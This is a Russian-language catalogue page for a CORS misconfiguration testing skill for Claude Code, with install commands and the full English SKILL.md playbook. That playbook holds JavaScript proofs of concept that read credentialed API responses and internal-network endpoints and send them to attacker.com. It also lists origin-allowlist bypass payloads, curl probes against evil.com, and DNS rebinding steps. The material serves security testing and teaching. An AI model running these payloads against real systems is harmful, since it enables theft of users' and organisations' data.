К основному содержанию
скилл CX Codex

cors-cross-origin-misconfiguration — скилл для Claude Code

Помогает тестировать ошибки CORS и проверять доверие к заголовкам Origin при передаче учётных данных. Пригодится при аудите API и поиске проблем с кэшированием.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a claude-code
Открыть на GitHub

Что делает cors-cross-origin-misconfiguration

Скилл помогает проверять настройки CORS при доступе браузера к API с авторизацией. Он ориентирован на поиск ошибок в заголовках Access-Control-Allow-Origin и Access-Control-Allow-Credentials. Если бэкенд возвращает заголовок Origin без строгой проверки или доверяет значению null, конфиденциальные данные могут утечь.

Внутри собраны сценарии проверки слабых регулярных выражений и отсутствия заголовка Vary: Origin. Из-за пропущенного Vary промежуточные кэши и CDN могут отдать ответ атакующему источнику. Скилл также разбирает цепочки обхода через поддомены с XSS.

Плейбук рассчитан на аудит веб-сервисов. Для глубоких сценариев вроде атак на JSONP или работы с тестовыми стендами автор предлагает подключать файл SCENARIOS.md.

Какие задачи решает

  • найти небезопасную обработку заголовка Origin: null в API
  • проверить регулярные выражения на ошибки сопоставления доверенных доменов
  • выявить риск отравления кэша из-за отсутствия заголовка Vary: Origin
  • оценить защиту API при междоменных запросах с учётными данными

Примеры запросов агенту

  • Проверь конфигурацию CORS для эндпоинта /api/user/profile на предмет отражения Origin
  • Покажи ошибки в регулярном выражении allowlist для междоменных запросов
  • Объясни, почему отсутствие Vary: Origin опасно при динамическом ACAO

Как установить cors-cross-origin-misconfiguration

1Через Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a claude-code

2Вручную: положить файлы

~/.claude/skills/cors-cross-origin-misconfiguration/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/cors-cross-origin-misconfiguration/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Из того же набора93

heap-exploitation Плейбук по эксплуатации кучи ptmalloc2: UAF, double free, overflow и атаки через tcache, fastbin и unsortedbin. Пригодится на CTF и при разборе уязвимостей glibc. CX Codex +1 3 700установок business-logic-vuln Скилл направляет проверку бизнес-логики и переходов состояний в приложении. Помогает искать состояния гонки, сбои при расчёте скидок и обход пошаговых сценариев. CX Codex +1 3 700установок recon-for-sec Направляет первичную разведку нового приложения: помогает очертить поверхность атаки и выбрать маршрут проверки. CX Codex +1 3 700установок ios-pentesting-tricks Плейбук по тестированию iOS-приложений: извлечение данных из keychain, перехват URL-схем, разбор Universal Links, работа с runtime. CX Codex +1 3 700установок injection-checking Скилл-роутер для тестирования инъекций: помогает выбрать нужный сценарий по тому, куда попадает ввод от атакующего. CX Codex +1 3 700установок kubernetes-pentesting Плейбук по пентесту Kubernetes: доступ к API-серверу, перебор RBAC, злоупотребление токенами service account, etcd, Kubelet API и побег из пода. CX Codex +1 3 700установок auth-sec Маршрутизатор проверок аутентификации и авторизации. Помогает агенту выбрать нужную ветку аудита до перехода к конкретным атакам. CX Codex +1 3 700установок api-authorization-and-bola Плейбук для проверки авторизации в API: доступ к чужим объектам, вызовы функций не по роли и скрытые записываемые поля. CX Codex +1 3 700установок

Похожие

testing-cors-misconfiguration mahipal Скилл помогает проверять настройки CORS в API и веб-приложениях во время авторизованных тестов на проникновение. Он выявляет некорректную валидацию заголовка Origin и утечки данных между доменами. CX Codex +1 463установок security-headers-configuration secondsky Настраивает HTTP-заголовки безопасности против XSS, кликджекинга и MIME-сниффинга. Пригодится при аудите или внедрении CSP. CX Codex +1 438установок port-github-app-to-origin cursor Анализирует кодовую базу GitHub App и составляет план переноса на Cursor Origin API. Находит вызовы, вебхуки и права доступа, сопоставляя их со спецификацией Origin. CX Codex +1 337установок oauth2-provider-design Samuel Berthe Скилл помогает спроектировать собственный сервер авторизации OAuth 2.1 в B2B SaaS. Полезен при настройке входа через сервис, выдаче токенов сторонним приложениям и проверке прав. CX Codex +1 7 800установок owasp-security hoodini Скилл подсказывает агенту, как закрыть дыры из OWASP Top 10: доступ, инъекции, криптография, конфиги. Пригодится, когда пишешь авторизацию или правишь API. CX Codex +1 3 000установок gdpr-compliant официальный github Скилл задаёт правила работы с персональными данными в коде: от API и моделей до логов, хранения и удаления. Нужен для задач с GDPR. 1 700установок

Вопросы о cors-cross-origin-misconfiguration

Как установить cors-cross-origin-misconfiguration в Claude Code?

Выполните в терминале команду npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a claude-code. Файл плейбука сохранится по пути ~/.claude/skills/cors-cross-origin-misconfiguration/SKILL.md.

Что проверяет cors-cross-origin-misconfiguration?

Скилл выявляет небезопасные конфигурации CORS: отражение произвольного источника, приём учётных данных вместе со звёздочкой, ошибки в регулярных выражениях и отсутствие заголовка Vary: Origin.

Почему опасно доверять значению Origin: null?

Браузер отправляет null из песочниц iframe sandbox, локальных файлов и схем data:. Если сервер разрешает учётные данные для источника null, изолированная страница сможет прочитать ответы закрытого API.

Исходный текст

SKILL.md · MIT
---
name: cors-cross-origin-misconfiguration
description: >-
  CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.
---

# SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors

> **AI LOAD INSTRUCTION**: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion [SCENARIOS.md](./SCENARIOS.md).

### Extended Scenarios

Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
- JSONP hijacking complete attack scenario — watering hole + `<script>` cross-origin data theft
- Honeypot de-anonymization via JSONP — use social platform JSONP endpoints to identify anonymous visitors
- Same-origin policy deep dive — protocol/hostname/port definition, `document.domain` subdomain relaxation and its security risks
- CORS vs JSONP technical comparison — methods, error handling, credential behavior, migration path
- CORS exploitation payloads — reflected origin with `credentials: include`, null origin via sandboxed iframe
- Dual-site attack lab pattern — localhost:8981 (target) + localhost:8982 (attacker) testing setup

## 1. WHEN TO LOAD THIS SKILL

Load when:

- Responses contain `Access-Control-Allow-Origin`, `Access-Control-Allow-Credentials`, or preflight headers
- A browser-based attack path might read authenticated API responses
- JSON endpoints appear protected from CSRF but are readable cross-origin

## 2. HIGH-VALUE MISCONFIGURATION CHECKS

| Theme | What to Check |
|---|---|
| wildcard with credentials | `Access-Control-Allow-Origin: *` plus credential support or equivalent broken behavior |
| reflected origin | server echoes arbitrary `Origin` |
| weak allowlist | suffix, prefix, substring, regex, or mixed-case matching errors |
| `null` origin | acceptance of sandboxed, file, or serialized origins |
| preflight trust | overbroad methods and headers |
| internal API exposure | admin or tenant data readable cross-origin |

## 3. QUICK TRIAGE

1. Send crafted `Origin` headers and inspect reflection.
2. Test with and without credentials.
3. Probe allowlist bypasses using attacker subdomains and parser edge cases.
4. If readable data is sensitive, chain to account or tenant impact.

## 4. RELATED ROUTES

- Session or JSON action abuse: [csrf cross site request forgery](../csrf-cross-site-request-forgery/SKILL.md)
- OAuth token leakage and callback binding: [oauth oidc misconfiguration](../oauth-oidc-misconfiguration/SKILL.md)
- API auth context: [api auth and jwt abuse](../api-auth-and-jwt-abuse/SKILL.md)

---

## 5. NULL ORIGIN EXPLOITATION

### How `Origin: null` is sent

| Context | Origin Header Value |
|---------|-------------------|
| Sandboxed iframe (`<iframe sandbox>`) | `null` |
| `data:` URI scheme | `null` |
| `file:` protocol (local HTML) | `null` |
| Cross-origin redirect chain (some browsers) | `null` |
| Serialized data in `blob:` URL from opaque origin | `null` |

### Exploitation

If the server includes `null` in its origin allowlist or reflects it:

```http
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
```

```html
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>
```

The sandboxed iframe sends `Origin: null` → server reflects `null` → attacker reads credentialed response.

---

## 6. SUBDOMAIN XSS → CORS BYPASS CHAIN

### Attack flow

```text
1. Target API at api.target.com allows CORS from *.target.com
2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
3. Exploit XSS to make credentialed requests to api.target.com
4. CORS allows the request → attacker reads sensitive API responses
```

### PoC (injected via XSS on blog.target.com)

```javascript
fetch('https://api.target.com/v1/user/profile', {
    credentials: 'include'
})
.then(r => r.json())
.then(data => {
    navigator.sendBeacon('https://attacker.com/exfil',
        JSON.stringify(data));
});
```

### Why this works

- `blog.target.com` is **same-site** with `api.target.com` → `SameSite` cookies sent
- CORS allowlist includes `*.target.com` → `Access-Control-Allow-Origin: https://blog.target.com`
- Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain

### Reconnaissance for this chain

```text
□ Enumerate subdomains (amass, subfinder, crt.sh)
□ Test each for XSS (stored, reflected, DOM)
□ Check if API CORS accepts subdomain origins
□ Subdomain takeover candidates also qualify
```

---

## 7. VARY: ORIGIN CACHING ISSUE

### Problem

When the server reflects `Origin` in `Access-Control-Allow-Origin` but does **not** include `Vary: Origin` in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:

```text
1. Attacker requests: Origin: https://attacker.com
   Response cached with: Access-Control-Allow-Origin: https://attacker.com

2. Victim requests same URL (no Origin or different Origin)
   Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
   → Victim's browser allows attacker.com to read the response (CORS cache poisoning)
```

### Detection

```bash
# Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I

# Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I

# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
# → cache poisoned, Vary: Origin is missing
```

### Exploitation

```text
1. Warm the cache: send request with Origin: https://attacker.com
2. Wait for victim to access the same cached URL
3. Cached ACAO header allows attacker.com to read the response
4. Attacker page fetches the URL → reads cached response with credentials
```

### Fix verification

```text
□ Response includes Vary: Origin
□ Cache key includes the Origin header
□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)
```

---

## 8. REGEX BYPASS PATTERNS

Common flawed regex patterns for origin validation:

| Intended Pattern | Flaw | Bypass Origin |
|-----------------|------|---------------|
| `^https?://.*\.target\.com$` | `.*` matches anything including `-` | `https://attacker-target.com` |
| `^https?://.*target\.com$` | Missing anchor after subdomain | `https://nottarget.com`, `https://attacker.com/.target.com` |
| `target\.com` (substring match) | No anchors | `https://attacker.com?target.com` |
| `^https?://(.*\.)?target\.com$` | Missing port restriction | `https://target.com.attacker.com:443` |
| `^https://[a-z]+\.target\.com$` | Missing end anchor for path | N/A (but misses subdomains with `-` or digits) |
| Backtracking-vulnerable regex | ReDoS | `https://aaaa...aaa.target.com` (CPU exhaustion) |

### Test payloads for origin validation bypass

```text
https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%[email protected]
https://attacker.com#.target.com
https://attacker.com?.target.com
null
```

### Advanced: Unicode normalization bypass

```text
https://target.com → https://ⓣarget.com (Unicode homoglyph)
```

Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.

---

## 9. INTERNAL NETWORK CORS EXPLOITATION

### Scenario

An internal-only API (e.g., `http://192.168.1.100:8080/admin`) is configured with:
```http
Access-Control-Allow-Origin: *
```

Internal APIs often use wildcard CORS because "only internal users can reach it."

### Attack chain

```text
1. Attacker sends victim (internal employee) a link to attacker.com
2. Attacker page JavaScript fetches internal API:
   fetch('http://192.168.1.100:8080/admin/users')
3. CORS allows * → response readable
4. Exfiltrate internal data to attacker server
```

```javascript
// On attacker.com — target internal API from victim's browser
const internalAPIs = [
    'http://192.168.1.1/admin/config',
    'http://10.0.0.1:8080/api/users',
    'http://172.16.0.1:9200/_cat/indices',  // Elasticsearch
    'http://localhost:8500/v1/agent/members', // Consul
];

internalAPIs.forEach(url => {
    fetch(url)
        .then(r => r.text())
        .then(data => {
            navigator.sendBeacon('https://attacker.com/exfil',
                JSON.stringify({url, data}));
        })
        .catch(() => {});
});
```

### Port scanning via CORS timing

Even without `Access-Control-Allow-Origin: *`, the attacker can infer internal service availability:
- **Port open**: connection established → CORS error (different timing)
- **Port closed**: connection refused → fast error
- **Host down**: timeout → slow error

### Combined with DNS rebinding

```text
1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
4. JavaScript on the page fetches attacker.com/admin → now hits internal server
5. Same-origin policy satisfied (same domain) → response readable
```

© yaklang · MIT · yaklang/hack-skills

Смотрите также

Спонсоры проекта

Компании, которые помогают держать аналитику открытой